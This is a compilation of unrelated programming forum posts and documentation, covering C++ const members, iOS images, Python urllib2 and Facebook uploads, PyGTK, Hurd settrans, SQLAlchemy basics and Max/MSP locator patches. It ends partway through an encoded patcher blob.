Déconne pas, c'est la dernière année où j'ai les «grandes vacances»
Hey les gens, y'a moyen de mettre une variable en const dans une classe ? genre
class plop
{
private : const int p;
}
Le problème c'est que quand je déclare comme ça, il en veut pas
Alors que j'en aurai besoin pour une variable que je n'affecte qu'une seule fois pour cette classe, et ensuite j'ai plus besoin de la faire varier…
(une constante quoi )
C'est normal, une constante doit avoir sa valeur fixée à la compilation (c'est la définition même d'une constante, elle à une valeur au lancement du programme puis n'en change pas). Il faut que tu l'initialises.
Si tu veux une variable qui est associée à la classe (commune à tout les objets), je crois qu'il faut regarder du côté de static.
Dernière modification par grim7reaper (Le 13/06/2010, à 21:31)
Hors ligne
|
I have in my viewController.m written the background code:
self.view.backgroundColor = [UIColor colorWithPatternImage:[UIImage imageNamed:@"image.png"]];
And I have the correct names of the different pictures:
image.png for non-retina display (320x480)
image@2x.png for retina display (640x960)
image-568h@2x.png for iPhone 5 (640x1136)
But when I run it in the simulator it does not take the image-568h@2x.png for iPhone 5 screen it only takes the image@2x for 4s screen and scale it to fit the screen... I dont know if there is any coding to use the image-568h@2x for iPhone 5 screen?
Im using Xcode 4.5
|
I used this library to encode the image: http://atlee.ca/software/poster/
Add this to facebook.py:
from poster.encode import *
from poster.streaminghttp import register_openers
def put_photo(self, source, album_id=None, message=""):
object_id = album_id or "me"
register_openers()
content_type,body = multipart_encode( [ ('message',message),('access_token',self.access_token),('source',source) ] )
req = urllib2.Request("https://graph.facebook.com/%s/photos" % object_id, content_type,body )
try:
data = urllib2.urlopen(req).read()
except urllib2.HTTPError as e:
data = e.read()
try:
response = _parse_json(data)
if response.get("error"):
raise GraphAPIError(response["error"].get("code", 1),response["error"]["message"])
except ValueError:
response = data
return response
Call the function with the photo as a file like object:
graph = facebook.GraphAPI(access_token)
photo = open("myphoto.bmp","rb")
graph.put_photo(photo,"me","This is my brilliant photo")
The put_photo method has been submitted by someone (I forget who) as proposed a function to add to the API but it didn't work for me till I used poster to encode the image.
Hope this helps.
|
The function urllib2.urlopen freezes. So my question is simple:
Why does urlopenfreeze my script for ever even though timeout is set?
How can I access data at an URL (in this case: http://api.own3d.tv/live?channel=FnaticTV) without the possibility of my Python process freezing up for all eternity?
This is the part where is freezes (In own3d.py):
# Try three times to make contact
while True:
try:
# Connect to API
# Right here! It freezes here
connection = urllib2.urlopen(request, timeout=10)
xmlstring = connection.read()
except URLError as e:
tries += 1
if tries >= 3:
sys.stderr.write(
'own3dStreamsUpdater: Fatal error: Repeated timeouts')
exit()
This is the stack trace after my KeyboardInterrupt
Traceback (most recent call last): File "", line 1, in File "honsapp/own3dStreamsUpdater.py", line 53, in updateStreamInfo streamInfo = getStreamInfo(stream) File "honsapp/own3d.py", line 98, in getStreamInfo connection = urllib2.urlopen(request, timeout=10) File "/usr/local/lib/python2.7/urllib2.py", line 126, in urlopen return _opener.open(url, data, timeout) File "/usr/local/lib/python2.7/urllib2.py", line 394, in open response = self._open(req, data) File "/usr/local/lib/python2.7/urllib2.py", line 412, in _open '_open', req) File "/usr/local/lib/python2.7/urllib2.py", line 372, in _call_chain result = func(*args) File "/usr/local/lib/python2.7/urllib2.py", line 1199, in http_open return self.do_open(httplib.HTTPConnection, req) File "/usr/local/lib/python2.7/urllib2.py", line 1170, in do_open r = h.getresponse(buffering=True) File "/usr/local/lib/python2.7/httplib.py", line 1027, in getresponse response.begin() File "/usr/local/lib/python2.7/httplib.py", line 407, in begin version, status, reason = self._read_status() File "/usr/local/lib/python2.7/httplib.py", line 365, in _read_status line = self.fp.readline() File "/usr/local/lib/python2.7/socket.py", line 447, in readline data = self._sock.recv(self._rbufsize) KeyboardInterrupt
Edit
I let my script run over night. I don't know exactly how long it took (Though more than five minutes) but the script finally gave up and gave me a stacktrace:
Traceback (most recent call last): File "honsapp/own3dStreamsUpdater.py", line 260, in newInfo() File "honsapp/own3dStreamsUpdater.py", line 172, in newInfo result = updateStreamInfo(stream) File "honsapp/own3dStreamsUpdater.py", line 53, in updateStreamInfo streamInfo = getStreamInfo(stream) File "/root/Dropbox/Projects/honstreams/honsapp/own3d.py", line 98, in getStreamInfo connection = urllib2.urlopen(request, timeout=10) File "/usr/local/lib/python2.7/urllib2.py", line 126, in urlopen return _opener.open(url, data, timeout) File "/usr/local/lib/python2.7/urllib2.py", line 394, in open response = self._open(req, data) File "/usr/local/lib/python2.7/urllib2.py", line 412, in _open '_open', req) File "/usr/local/lib/python2.7/urllib2.py", line 372, in _call_chain result = func(*args) File "/usr/local/lib/python2.7/urllib2.py", line 1199, in http_open return self.do_open(httplib.HTTPConnection, req) File "/usr/local/lib/python2.7/urllib2.py", line 1170, in do_open r = h.getresponse(buffering=True) File "/usr/local/lib/python2.7/httplib.py", line 1027, in getresponse response.begin() File "/usr/local/lib/python2.7/httplib.py", line 407, in begin version, status, reason = self._read_status() File "/usr/local/lib/python2.7/httplib.py", line 371, in _read_status raise BadStatusLine(line) httplib.BadStatusLine: ''
|
gtkunixprint.PageSetupUnixDialog — a dialog for setting up a printer page on Unix (new in PyGTK 2.10)
class gtkunixprint.PageSetupUnixDialog(gtk.Dialog):
gtkunixprint.PageSetupUnixDialog(title=None, parent=None)
def set_page_setup(page_setup)
def get_page_setup()
def set_print_settings(print_settings)
def get_print_settings()
+--gobject.GObject+-- gtk.Object +-- gtk.Widget +-- gtk.Container +-- gtk.Bin +-- gtk.Window +-- gtk.Dialog +-- gtkunixprint.PageSetupUnixDialog
This class is available for Unix systems in PyGTK 2.10 and above.
The gtkunixprint.PageSetupUnixDialog object implements a page setup dialog for platforms, like Unix, that don't provide a native page setup dialog. It can be used very much like any other PyGTK dialog, at the cost of the portability offered by the high-level printing API.
gtkunixprint.PageSetupUnixDialog(title=None, parent=None)
the title of the dialog, or None
the transient parent of the dialog, or None
the new gtkunixprint.PageSetupUnixDialog
This constructor is available in PyGTK 2.10 and above.
Creates a new page setup dialog with the optional title specified by title and optionally using the
gtk.Window specified by parent
def set_page_setup(page_setup)
a gtk.PageSetup
This method is available in PyGTK 2.10 and above.
The set_page_setup() method uses the gtk.PageSetup specified by page_setup to set the page setup values for the dialog.
def get_page_setup()
the current page setup
This method is available in PyGTK 2.10 and above.
The get_page_setup() method returns the current page setup values from the dialog as a gtk.PageSetup.
def set_print_settings(print_settings)
a gtk.PrintSettings
This method is available in PyGTK 2.10 and above.
The set_print_settings() method installs the gtk.PrintSettings specified by print_settings as the print settings for the dialog.
def get_print_settings()
the current print settings
This method is available in PyGTK 2.10 and above.
The get_print_settings() method returns the current print settings from the dialog.
|
<antrik> ugh... I just realized why settrans -a without -f doesn't generally work on filesystem translators<antrik> obviously, it needs -R too!
<antrik> youpi: no, only the -g is redundant; i.e. -ga is the same as -a
<antrik> (actually, not redundant, but rather simply meaningless in this
case)
<antrik> -g tells what to do with an active translator *when a passive one
is changed*
<antrik> if no passive one is changed, it does nothing
<antrik> (and I realized that after using the Hurd for only 6 years or so
;-) )
<braunr> it's not obvious
<antrik> braunr: indeed. it's not obvious at all from the --help output :-(
<antrik> not sure though how to make it clearer
<braunr> the idea isn't obvious
<braunr> perhaps telling that "setting a passive translator" also applies
to removing it, i.e. setting it to none
<antrik> braunr: well, the fact that a translator is unset by setting it to
nothing is unclear in general, not only for passive translator. I agree
that pointing this out should make things much more clear in general...
<teythoon> btw, I somehow feel settrans is being abused for chroot and
friends, there is no translator setting involved
<youpi> chroot, the command? or the settrans option?
<youpi> I don't understand what you are pointing at
<teythoon> the settrans option being used by fakeroot, remap and (most
likely) our chroot
<youpi> our chroot is just a file_reparent call
<youpi> fakeroot and remap do start a translator
, .
<teythoon> yes, but it is not being bound to a node, which is (how I
understand it) what settrans does
<teythoon> the point being that if settrans is being invoked with --chroot,
it does something completely different (see the big if (chroot) {...}
blocks)
<teythoon> to a point that it might be better of in a separate command
<youpi> Mmm, indeed, a lot of the options don't make sense for chroot
|
I am trying to populate a list of 8 Ingredient objects using one list comprehension expression. The code looks like that:
import random
ings = (('w1', 200, 25, 80),
('su1', 50, 55, 150),
('su2', 400, 100, 203),
('sy1', 10, 150, 355),
('sy2', 123, 88, 101),
('sy3', 225, 5, 30),
('sy4', 1, 44, 99),
('sy5', 500, 220, 300),)
class Ingredient:
def __init__(self, n, p, mi, ma):
self.name = n
self.price = p
self.min = mi
self.max = ma
self.perc = random.randrange(mi, ma)
class Drink:
def __init__(self):
self.ing = []
and i would like to obtain result equivalent to this:
self.ing = [Ingredient('w1', 200, 25, 80), Ingredient('su1', 50, 55, 150) ...
(and so it goes for the ings tuple) ]
Now, my question is how to do it using LCE or if there is more optimal way of doing this (in terms of code readability or speed)?
|
SQLAlchemy
Although it sometimes might seem as if relational databases have gone the way of the dinosaur, making way for non-relational (NoSQL) databases, such as MongoDB and Cassandra, a very large number of systems still depend on a relational database. And, although there is no requirement that a relational database use SQL as its query language, it's a rare database product that does not do so.
The good news is that SQL is relatively easy to work with, particularly when the queries are straightforward. It's fast and easy to create tables, insert data into them, update that data and write queries that retrieve some or all parts of the data. SQL also makes it fairly easy to combine ("join") information from multiple tables, letting you normalize the data, while keeping speed and flexibility at a maximum.
SQL might not be difficult to work with on its own, but you rarely work with it in a vacuum. Usually, your SQL statements reside within a program you have written. The SQL is kept as a text string within the application and is then sent, via a network socket, to the server.
There are several problems with this. First, it means you have to mix two different languages within the same program. Inside your Web application, which you've worked hard to write, and which you try to ensure is maintainable, you have code in a totally separate language, inside strings, which you cannot test or maintain directly.
Even if the SQL queries weren't written inside strings, you still would be faced with the fact that the majority of your Web application is written in one language, but your data-manipulation routines are written in another language. A Web application contains, no matter how you slice it, components in HTML, CSS and JavaScript, as well as whatever server-side language you're using. Adding SQL to this can only complicate things further.
Even if SQL and a typical server-side language were on equal footing in terms of the syntax of a Web application, there's a fundamental mismatch between the ways in which they handle data. SQL operates with rows and columns within tables; everything in a relational database has to fit into this table-centric view of the world. By contrast, modern programming languages have a rich variety of data structures and typically are object-oriented to some degree or another.
Libraries that bridge the gap between procedural code and SQL are known as object-relational mappers, or ORMs. ORMs typically represent database records as instances of a particular class. In order to represent 50 records, you would need 50 instances of a class, with the state of each instance reflecting the names, types and values of the columns in that record.
There are two basic paradigms for passing data between the object-oriented data structures and the database, both of which were described by Martin Fowler. In the first paradigm, known as Active Record, each instance is tied directly to a row in the database, and the class itself (as well as each object) is responsible for ensuring that the data is saved to the database. In other words, Active Record requires that you create a single class, and that it handles both sides of the object-relational divide. The Active Record class in Ruby on Rails is (not surprisingly) an implementation of this paradigm and provides a great deal of power and flexibility.
A second paradigm is known as Data Mapper, and it requires the use of three different object classes: a class that represents the data itself at the object level, a class that represents the database table and a "mapper" object that acts as a go-between, ensuring that the object and relational parts of the system are appropriately synchronized.
An excellent and popular example of the Data Mapper paradigm can be found in the SQLAlchemy project. SQLAlchemy has been around for a number of years already, and makes it possible to work with relational databases flexibly from within your Python program, without having to write any SQL.
In this article, I take a look at SQLAlchemy, exploring a number of its options and features, and considering how it can be used in Web and other applications.
Connecting to a Database
Installing SQLAlchemy should be straightforward to anyone who has installed Python packages before. You can get SQLAlchemy from PyPi, the Python Package Index, either by downloading it from http://pypi.python.org or by using the easy_install or pip programs to retrieve and install it. I was able to install it with:
pip install sqlalchemy
You might need to install SQLAlchemy as root. Or, you can install it into a virtual machine, using the popular virtualenv package for Python, which gives you nonroot control and permissions over a Python environment.
You also will need to install a driver for the database you intend to use. My favorite relational database is PostgreSQL, and I use the psycopg Python driver, also available on PyPi and (by extension) via pip.
I should note that although I know SQLAlchemy works with Python 3, much of the work I do nowadays is still in Python 2, mostly because that's what my clients are using. My examples, thus, also will be in Python 2, although I believe they will work in Python 3 with little or no change.
Let's assume you have a database table, People:
CREATE TABLE People (id SERIAL PRIMARY KEY,
first_name TEXT,
last_name TEXT,
email TEXT,
birthday DATE);
Let's also add some initial records:
INSERT INTO People (first_name, last_name, email, birthday)
VALUES ('Reuven', 'Lerner', 'reuven@lerner.co.il', '1970-jul-14'),
('Foo', 'Bar', 'foobar@example.com', '1970-jan-1');
In order to access this table using SQLAlchemy's ORM, you first need to create a database session object, which itself must be created using an "engine". Each database driver has its own style of URL. In the case of PostgreSQL accessed via the psycopg2 driver, you would use something like this:
dburl = 'postgresql+psycopg2://reuven:reuven@localhost/atf'
This URL indicates not only the database and driver type, but also my user name and password ("reuven" in both cases), the hostname (localhost) and the name of the database I'll be accessing ("atf"). If the database is not available at the default PostgreSQL port of 5432, you can specify that as well in the URL.
You then tell Python to create a new engine based on this URL:
from sqlalchemy import create_engine
engine = create_engine(dburl)
Now that you have the engine defined, you can create a session based on this engine. Doing so requires two steps: first you create a new, custom Session class for this engine, and then you create an instance of the Session class that you will use to access the database:
from sqlalchemy.orm import sessionmaker # import sessionmaker class
Session = sessionmaker(bind=engine) # make custom session type
session = Session() # make instance of session
You're now connected to the database! But, that's not quite enough. If you want to map your database table to one or more Python objects, you need to define a class. You do this by defining a normal Python class, with a few subtle changes:
The class must inherit from Base, a class returned from the declarative_base function provided by SQLAlchemy.
The database columns must be defined as class attributes, as instances of the SQLAlchemy-provided Column class.
You connect the class with your database table by defining the
__tablename__class-level attribute.
For example, the following Python class provides a mapping to the People database table:
from sqlalchemy import Column, Integer, String, DateTime
from sqlalchemy.ext.declarative import declarative_base
Base = declarative_base()
class Person(Base):
__tablename__ = 'people'
id = Column(Integer, primary_key=True)
first_name = Column(String)
last_name = Column(String)
email = Column(String)
birthday = Column(DateTime)
def __init__(self, firstname, lastname, email, birthday):
self.first_name = firstname
self.last_name = lastname
self.email = email
It might not be obvious at first glance, but this class implements the Data Mapper design pattern. The class attributes that you have defined describe the columns in the database table and can contain a great deal of detail, including indexes, uniqueness requirements and even custom integrity constraints, such as those provided by PostgreSQL. The class itself is a standard Python class.
But behind the scenes, because this class inherits from Base, you get anumber of other attributes, including __mapper__, which indicates howyour Python class will be mapped to the database table. You can seethis in an interactive Python shell by asking to see the printedrepresentation of Person.__mapper__:
Person.__mapper__
<Mapper at 0x10af5ef90; Person>
You now have a session that connects to the database and a table in the database that has been described in Python. You now can execute a query against your table:
for p in session.query(Person):
print p.first_name
That gives the following:
ReuvenFoo
In other words, session.query is executing a query against thedatabase, without you having to specify the SQL. You also can restrictthe records you'll get, by chaining thefilter_by method to yourquery:
for p in session.query(Person).filter_by(id=1):
print p.first_name
That gives the following:
Reuven
Note that the filter_by method is not acting on the results ofsession.query. Rather, it is changing the SQL thateventually is sentto the database. You can see this by assigning printing to the queryobject without executing it or putting it in an iteration context:
print session.query(Person).filter_by(id=1)
SELECT people.id AS people_id,
people.first_name AS people_first_name,
people.last_name AS people_last_name,
people.email AS people_email,
people.birthday AS people_birthday
FROM people
WHERE people.id = :id_1
You also can see from this query that SQLAlchemy binds parameters to variables inside your query, rather than directly placing your values. Not only does this allow you to re-run queries later with different variable values, but it reduces the possibility that you will suffer from an SQL injection attack, which still is surprisingly common.
You also can order the results:
for person in session.query(Person).order_by('first_name'):
print person.first_name
Foo
Reuven
And, you also can do all of the basic "CRUD" activities that you would expect. For example, you can create a new instance of your Person class and then save it to the database:
p = Person('newfirst', 'newlast', 'new@example.com', '1-jan-2012');
session.add(p)
session.commit()
Notice how I can handle multiple inserts (or other actions) inside a single transaction by only issuingsession.commit() after addingseveral objects. Similarly, I can update the object and thecorresponding row in the database:
p.first_name = '!!!'
session.add(p)
session.commit()
I also can delete the object:
session.delete(p)
session.commit()
Reuven M. Lerner, Linux Journal Senior Columnist, a longtime Web developer, consultant and trainer, is completing his PhD in learning sciences at Northwestern University.
Web Development News
Geolocation
Give new life to old phones and tablets with these tips!
Readers' Choice Awards 2014 Poll
Lucidchart
Linux Systems Administrator
Senior Perl Developer
Technical Support Rep
Memory Ordering in Modern Microprocessors, Part I
[<Megashare>] Watch Mrs Brown's Boys Movie Online Full Movie HD 2014
Source Code Scanners for Better Code
|
Is it possible to print the name of a locator as the playhead passes by in max?
Hello,
I’m working with video in Ableton. I’m setting locators in specific places where something important occurs in the video. I’m also naming the locators related to the occurrence in the video (i.e: explosion, gun fight, leaps off building). Is there a way in Max to retrieve each locators name as the playhead passes over the locator and pass that information to the "print" function so that it appears in the Max Window?
Thanks for your help,
k
I don’t think you can access the locator info.
You may want to look into the [timepoint] object. They’re essentially locators for the Max transport, which in M4L is locked to Live’s transport.
Probably a lot easier than any API method could offer.
Locators in the Arrangement view of Live are in the Live Object Model as cue_points. They form the array at the path ‘live_set cue_points’. The properties are ‘name’ and ‘time’. I think it should be possible to collect the time-and-name pairs, order them by time and theck when the time of the next cue_point is passed. At that time some action should be taken.
Cue_points can be observed, but I don’t think they will report when song-time passes them.
Ah yes. Xanadu is right.
RTFLOM to me ;)
That will actually be a very handy device. Nice idea Kyle!
Hi guys, thanks for your help. I'm going to try your suggestions next but I have a feeling the "observe" function will work to do what I need it to do. So far I've only been able to get the Marker/Locator/Cue Point name via a button push or a number selector. Unfortunately, being new to Max I am unsure how to build an array of locators, but i'm gonna give it a shot. Here is a link to a screenshot of what I have so far (just incase the file doesn't come through):
Thx for your help.
k
[attachment=129271,342]
I like this challenge!
This pather will print all cue_points of the song and their beats.
allof the following text. Then, in Max, select
New From Clipboard.
----------begin_max5_patcher----------
859.3oc0X00aZCCE8YpT+OXkmYU4Z670da6uwTEJPbgrAIHhYisp8ee9iDnk
BM2zFYuppxkX6XN4jy83q8i2dyjf40GDMAjOS9FYxjGUsLwzltkIcMLIXS9g
EqyaLCLnR7q54eOXZaeRwAoo8c06kBhrbi3XeU62TVsVHM2Hz0ZYgY7pI4Sb
9SGqZB5FLsq4GpqjMk+QXlgv6B6Z2NV4u2JrnOHXp5ex8c8uMWtXUY0xY6DK
j1gv4op6mvSMgnL8mf56mtI8OVU9FyTF7kck4qIesdcQfo6+d6M5nJL8cyUa
yW7CRC4gKyTzKwTrqvTvvYpWkkXzPC8XC.OwizjURY9ovKonNTR0RVsRpXtO
kT6JqjjE6Ey1Vq9VCdFiEeEFKrOF6UjOQTcvxKdhQVW9SwcpdzXCcdFKxQ4Y
ctQQwNyMZinoIeo3kL0Rg7ULtuHMwcEMEZoIpI2haooXunmjj4p+VOfDqqYE
wFLIMOuZo1NpK1isTpgsXIFsUbxGtjPvsK10lDlP89ZcuI+6PWthm0XmZcux
.OxXkRwN7rDMyUZpVFJ0HsnwdWSoHA7rTp60RLvDh.uV8jXqnpXXbUhqTTs1
4bSHl56REtdA4WxLmxcrYtsTgHtCJU3pzjBdqH509l0HFvBePrq3p3vS0mm.
drpJSABZ5BehGvGs5pLlTSQxVP6da7oQkbXkfBrQyOGYom1ZNgVq836h9XU5
IPcbYBv+I6+quJOuHYE5JxJr8nULgTW3WMeuTVWgOSKsOp3xITX7cr0ZaMez
eRt+rmJ6jnD7Uu3vbMyptiydVap2uaQGR5NfQxSHzBQirrJWVpHgSiReVQOc
TqJKJDUO6vh1TVzpiL21K.6z2.3z6jl.8BNt+.WuLGcvfikwztm7vPcfQyNd
03AaZubJ7blueXy4fEnF7xRoGuxkvN58AadVx3Ba8lEPjdQ8hBliRAetCgq.
GGM3.2m6GgBbdxXBPAN+n4zEw2ukN3GMGCkl67W9HLY.qsB2FhNc03XxjhgS
O2JxQbp9.3PrLYpedgGhBbY9IUAk874OBt50JtTEvOLGCkIC0Kqc.np3FF7q
UVZjYW2IlMey.1wqFEXmhB09YeB.pzXXvq30RhzPigMKFNd03.6XTv98WEgt
AU3eZ3158A
-----------end_max5_patcher-----------
The live.observer only observates changes in the name or the position of the cue_points, so we have to check the playhead (in beats) against the time of the cue_points.
For me it’s bed time now (living in Holland).
I hope I will get some progress on sorting and matching beats tomorrow. For me this is quite easy in Javascript, but I want to do this thing in Max/MSP/Jitter only.
Xanadu,
Thanks for your help. I can’t thank you enough. As a test I have placed two locators as such:
CuePoint0: "Marker 01" @ 3.875
CuePoint1: "Marker 02" @ 8
I have created this little function to return the playhead location info:
allof the following text. Then, in Max, select
New From Clipboard.
----------begin_max5_patcher----------
432.3ocwT1sSCCBEG+51mBBWOqEV6ZmWo9ZXVLrU1FlVXVNMNcYu6Bz1Y2Rc
e3z3M.mO.9e9kCrw2COUslqwn6POg7713644bYc30X6gKXqmkyztzvEbslsf
iGTGSVUnpfbN3hRZ7NWIAs3CtyWXPXi6ULX1Rgbwyk7YP8kRRRLgMIEYmhCc
FiBBQSZ1S8oCuuhWuALdWHQlSQpoubSJtyMKYEtjwOTJX4nGU4YcjqP1pVp0
2Vee6vfyr7k72L2W6wA70t5.eKJJML32CJirbHgZGG5VSROFSlmqXPufgD8O
SlBNTpPCoRz8uVwjfA.0VrJPoAVIfHcL.QAGcQjjDDONljlbRbl5nY3X6DM7
X3bJStneZR+dZ9WCRnjI0qTkP+rY7OsKKp9MGM4zsYBo4x2MU2z06h9xpefR
t11S2ohyExC+FyUwV+6iZsppbVaA09BA8UQmw0fPx.gR1IIy+Kl1z1bVJxx3
tvs3sPjsRYp3FMPRiChGfFOxNRIIsFnI81Ob1R0PKTxIj5A0yI0JM00.LJxJ
xFgaMtVsROCr5JnvKlqCG1QqVi8zpwXq+m.tmkoh
-----------end_max5_patcher-----------
I’d like to use your pather to store all of the CuePoint names and locations (as you have already supplied) into an array as soon as the play button is pressed then maybe I can build upon my object to cross reference the array by timestamp/beat. If it finds a marker in the array at that same beat then have it print the name of the CuePoint to the Max window.
Thanks again for your help,
k
Hi Kyle,
Your songtimer does not repond to loops. Perhaps there are no loops when synchronizing with video. I came up with this timer some time ago.
allof the following text. Then, in Max, select
New From Clipboard.
----------begin_max5_patcher----------
1744.3oc0atzjiZCD.97rUs+Gn37DGIgDOlaI4PtkKI21ZKWXrFOjECt.4Y1
Mak7aO5AfAavH7fQr9fwiP.c+ota0pEy2+3GdvdS1WoE1VOY8IqGd367VdP1
lnkGpZ3A68geMJIrP1Q6T5aYa9a6GKOGi9Ulr8CV+Nk8mYo69q38z5Smdbeb
ZBkIuVTUqwakWB+97SttM6a1QVUmgUM+bVJqH9enxFAq.Usq5K6aGnJEv115
yUm6PHK5k3zcqyoQL0oQHH+ZsfHr3fu7an+JvoKR7fRC2Kuc1+RdbXh0ulkr
0t0MklWBmJ5vut3D5qz7h3rzlB9C1md3AANhmmCxUbvEKTCKrOnwimC9cIYQ
egJYCnt0szmG48I6.M8zkH6RquNqqwoGxoEzTVHqTCZ8vCOlvV2ZL.sp6N7b
XDs+Kulr+V1w7XZt0ePeyttm6xi2lkJDm12AQ6UO3OYAIxQMRKcP1kzvCcc4
rrrjMg4uFWDuIg1dzgamGlFuOjQYwJQCANckw6OjGmxZe6nog7ayKEQ4YIIs
uapS8ZWmZK803H5awaYuHucMvWK+ulFUs7Caehy7GktW0f7BeNPyyzvuCc9k
zgqW2tYaBS2cxUqO2MXosozPEQp9t80EkseOUAYa651+2O9gpey+4i2LYZGo
Rez3cEzz5Z5yqnGjPfJj.jGfpCHv4PoWmkECfbuS.BGHsSb7IKD.ci9VN2ru
kLhyPtVDhxLZQ4YUmGvdJKOSL30O2P8vMntb6Z1U2X7JET8kP0iXZCu8zhhv
cztILW5ewJI9U55hqYc1GkQjaByfAvrFSI.UIc4HygwSkNl6UgbirvlUiXAc
WwOqP1GOf8MDfQpzBQtRNSBtHE24EvW0HNJLIwZGksN5XdNOR05h8GXbKZ9B
HVKxGy5FhefBLkkMvWBdDRgb7B1zNmqezqQ994Nru46.Wg6nam6OpmQuj1N.
2lr2eYFVIKbqb5nQiXx8Ilht4xKCk3KiaqlnbgBXl0FqjwSWW3cw.VMTqU.D
UdbPUBvh3HjkqQrXtQQNH2.mu1pNcdeAJdbDApgkyPBMrorRSFOGQZuD0NCX
ppgDF+dW.QihvjDm1agLjxfnC8fjBdlzQUikkqex5LwYKsfEmVWgpOUufgy6
3Kwa2dVUfjXOd6gL9pqJkQqOq+X43EeftxuXbbAp.tPsUffEoBzkX0iB3uLU
.ecUftL1VJlPPsGAfKOE.oqB3tLiBQz1DRTPfknO.QWEPNVs7T.3O5C.FT9q
NgPUJ29shvWoaWqJJy5PFKOdCekrEWtcbctUT8tCV6Rx1DlTt2d0Y8YO46v0
fak1.UWrhOkGKGi0aOaOqRLmxkG..OABdBSdB55o+l1hgyzl1BgpU0i8ar2s
sJrx0SV+VfUUluW.qmyCijV9cxIXGbBA5gSfN4DbEIf.88tBPb7TkXhunE9J
DUqKuUgp6fG2ATrgFxFAFf2KL.bDXvAeewvyIYb4Ve80oO8Eok9dgOB+4Kv8
4kqoysPyCuxS7AxWdqz2g.9gvFwAM41HP7Jn3inTJpsd0AceYQeuaLQuvG3n
i.F3dfgysY.IrcDas3imsCicVd.fmDUpMYz69BLV1tcIiALjgl345ao5UTX2
5M8qRgmu3EdFKdAA4uxg+wCOWwK3Z3FZ9Hfi+zBmR+.cBkV9Bi4uHwRfovBZ
VwxDEQECLWD0JCIfybDRcpHFz2fDCsDH1wzCgQeYD1Xn6hKoVzBI9Dv8G8mC
hM1I3vNFaBNGWuUt7O76V4T726PVaNxXiYQhX7nyoYX0F4BVQ3evnGsBfSVl
MiV2H2AcqYh8SntM1YfwtFZFXGHpV+mGS5QiFOCglll8yDZlpDTL3zsMcnlm
08MYTKvfKTtgslYo1gji6J9VZz+oO3H8kObv6NWkSGpmlNItncC0+XjUkPV+
F78ly8VRqCIge6mKXYGFAnm75ZACT+GLIgfZM6ln5dgiX9.hyTCglNePfpL3
lBEr3wrJAB9NULbe+4nDmWgB6oVEw6RCYGyGQHbBYp4AFodymUgI7IFBH4gu
YILMJFAKbmZVPTueWdAFMXAit+P1HvPvjaR34dBC3axEQ021unakX47cVuBN
W9lg0dix660Yvscutbqz6Yaz6bLSagC6qivgMjv090woOgCLVgCS7W4UV6j.
up+aZIp+X5j7AwJz2HXUrQSCKbma1NSBGTKCRm.yXPBzR3LyvJNPKWYOyHbd
ZIbXyHbtZIblwgPrnMKmAENGyIbjAcHflS3bGT37LmvMbnDr4Dtgm3MvbBGZ
Pgy2bBGdPgCYDgyUu3bseKtmsfv5mlrADN7LIbhF3G9e.nc5EeC
-----------end_max5_patcher-----------
Tomorrow I’ll try to couple this patcher with the cue_points and get a signal when songtime passes a cue_point.
I RTFM, but did not find any sorting function in Max or MSP. Which is not very surprising because you don’t need it for th ekind of tasks these languages are designed for. I think I do have to use javascript after all.
There are 3 scenarios (I know of) to respond to songtime passing a cue_point.
1. Call a javascript function on every beat, part of a beat or tick. Then report any cue_point between the last call and this one. When the cue-points are ordered the lookup of relevant cue_points can be quite cpu-friendly.
2. Javascript is capable of creating the wiring of a Max patcher on the fly. One can create a comparator of the cue_point time and songtime, for every cue_point. When the output changes from before to after the cue_point, a message with the name of the cue_point is sent. When there are many cue_points this will use some cpu.
3. The scenario of 2 can also be realised with MSP components. Signaling songtime passing a cue_point will become sample precise, at the cost of cpu usage.
I think scenario 3 is overkill for movie synchronization, but for some other application it can be the right way to go.
Heya Xanadu,
Here’s what I have so far. With the help of a friend I was able to cross reference a collection and now the patcher spits out a match. We ran into an issue when we found that the Pack didn’t like to have a floating point variable as the first parameter but we got around that and now…voila.
allof the following text. Then, in Max, select
New From Clipboard.
----------begin_max5_patcher----------
1515.3oc4a00bqZCD8YmeEL9wNtt5SPpO01+FctiGrsRBs1fKHmlz6b+uWjV
vgjw.RFLzo2ISb7hsgiNZ2iNZM4qOrX41rWUEKC94feOXwhu9vhE1CYNvhp3
EKOF+5tCwE121xT0ems8OVtBdIs5Us8vOlmcr3siayNT+RomOlcVePoseNb0
QgCoe6jBtnKWF7kpW5wrTcZ7Q6Kr7WyShOD7aYG1We9NEq28bR5SaxU6zvGF
iiViVEDxI1+HLOhKe7xoLYu8jUB3ejSa.rjzOiKyEuH4erWbLZMxbzu8vClG
V4HybTUTD+jZBG+TJ2LjYF.uJfaeDG1x3mc0wOY7F+sjY7CkmODZsmzxiGxh
0CgaHxPCcPQ1TDLt6jCxLQN4A5rcYGlxhFpjYIFlsngw5jWvWkWP2cdonSdA
c6JFPVQDRZG7gcN3Q2aEi+iUwPnMTSgzi13FlblJXZOof0ZwxpF+NjBmPPQI
xpnvkq4cvOBuxcpNbQ7Kp8aJ+7kWyMwZcdx1yZX44EWnoEKUG2prWJKuBD6X
U2oNTdsCvWmhIsQwaiSeZnzKFjhHLK8BO1J8hlozuCIunVmssPk+hJOHoXyo
CwukXF7dwWiEWgsxXXRmh3L7bRVkn+4.yy1TnzWmln8V4NHpxppgkV2QRbmL
E++edDq7AQDg86QTLSIJ+T.SLGNDstmIbvOTmdAvyk64iJcdV.kjF7K+043T
c4EAhhOqyJzw4kh0MBzIGUAdSkV46NXx9IwpxKJ3qhfZgE8vlMdMWxwhnwiJ
04woEmxxaQER1F6jjpMhPU+AR6t5St16ZLRPIfULRmKIhmKU97RBSEXR7l3E
AITvuJQT4GqKkc1L4k+T7t+LHInXJ6JB2RHgQRGLRQm0rF6.ahsNg3MxZB61
4DYtxZxK0QB1cVs4TV4yJF8sACjPDxRBhN6MBMblHgJu1lMCMk9kpTUPr9UU
326hmOYW7B07jR2gh68QUQZ4EdDzxQYW9HoykaIcv1xeN341Lp285nrK1HnW
rTLnA2YkE46pJqZkWnxJpy9KQmW2L8o7d+VchJfN5G1+tUoyU+ISzp7oLuoh
Sp54Qm6SiHmINAxaR1OS4Kv28Euy7EhX1bynNoR22J6bexZ.gXlD9JB6TsgD
Mw884CKj2tI36oLb0B4PyOZagbbzb4vwg1FdeXmJUFfchvcxNh4twpyR+Tg1
kgP8q3fmK0Xc6t.uueGFgPavH0sTriuhHB56K2evJUTIo+8UQvy4Fq5y72cg
df8fSg7GQmxNja9lUvd1Jm+S+7s7iEPli+QJqH6b9t5QW8MQSv6fZupPmjFq
SxRa7lL8TJ.e4M8bx98pzl8q3Xx9J9ExLH15jvpcDH4WhB9xUmZcEsl12zKZ
